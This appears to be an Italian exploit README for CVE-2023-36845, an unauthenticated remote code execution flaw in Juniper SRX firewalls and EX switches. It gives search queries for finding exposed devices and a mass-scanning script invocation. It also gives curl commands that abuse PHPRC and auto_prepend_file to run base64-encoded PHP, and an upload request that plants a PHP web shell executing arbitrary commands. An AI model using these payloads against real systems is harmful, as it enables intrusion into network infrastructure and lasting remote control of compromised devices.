
Exploit per CVE-2023-36845 che consente l'esecuzione di codice remoto non autenticata su firewall Juniper SRX e switch EX tramite manipolazione delle variabili d'ambiente PHP, con capacità di rilevamento e consegna del payload.
CVE-2023-36845 rappresenta una notevole vulnerabilità di manipolazione delle variabili d'ambiente PHP che interessa i firewall Juniper SRX e gli switch EX. Sebbene Juniper abbia classificato questa vulnerabilità come di media gravità, in questo articolo chiariremo come questa singola vulnerabilità possa essere sfruttata per l'esecuzione remota di codice non autenticata.
title:"Juniper Web Device Manager"
title:"Juniper" http.favicon.hash:2141724739
Rilevamento
python3 CVE-2023-36845.py -f targets.txt -o output.txt
È possibile utilizzare qualsiasi protocol wrapper in combinazione con auto_prepend_file. La scelta più adatta per questa operazione è il protocol data://, che permette di fornire il "file secondario" inline. Di seguito una rappresentazione sofisticata di questo exploit, che esegue il codice <? phpinfo(); ?> incorporato nello schema data://:
curl "http://target.tld/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'
Esegui il comando whoami
<?php shell_exec('whoami'); ?>
curl "http://target.tld/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD9waHAgc2hlbGxfZXhlYygnd2hvYW1pJyk7ID8+Cg=="'
Carica un file
<?php if(isset($_REQUEST[cmd])){ echo "<pre>"; $cmd = ($_REQUEST[cmd]); system($cmd); echo "</pre>"; die; }?>
$ curl http://target.tld/webauth_operation.php -d 'rs=do_upload&rsargs[]=[{"fileName": "shell.php", "fileData": ",PD9waHAgaWYoaXNzZXQoJF9SRVFVRVNUW2NtZF0pKXsgZWNobyAiPHByZT4iOyAkY21kID0gKCRfUkVRVUVTVFtjbWRdKTsgc3lzdGVtKCRjbWQpOyBlY2hvICI8L3ByZT4iOyBkaWU7IH0/Pgo=
", "csize": 110}]'
| Parametro | Descrizione | Tipo |
|---|---|---|
| --file / -f | File dei target di input | File |
| -o | File di output | File |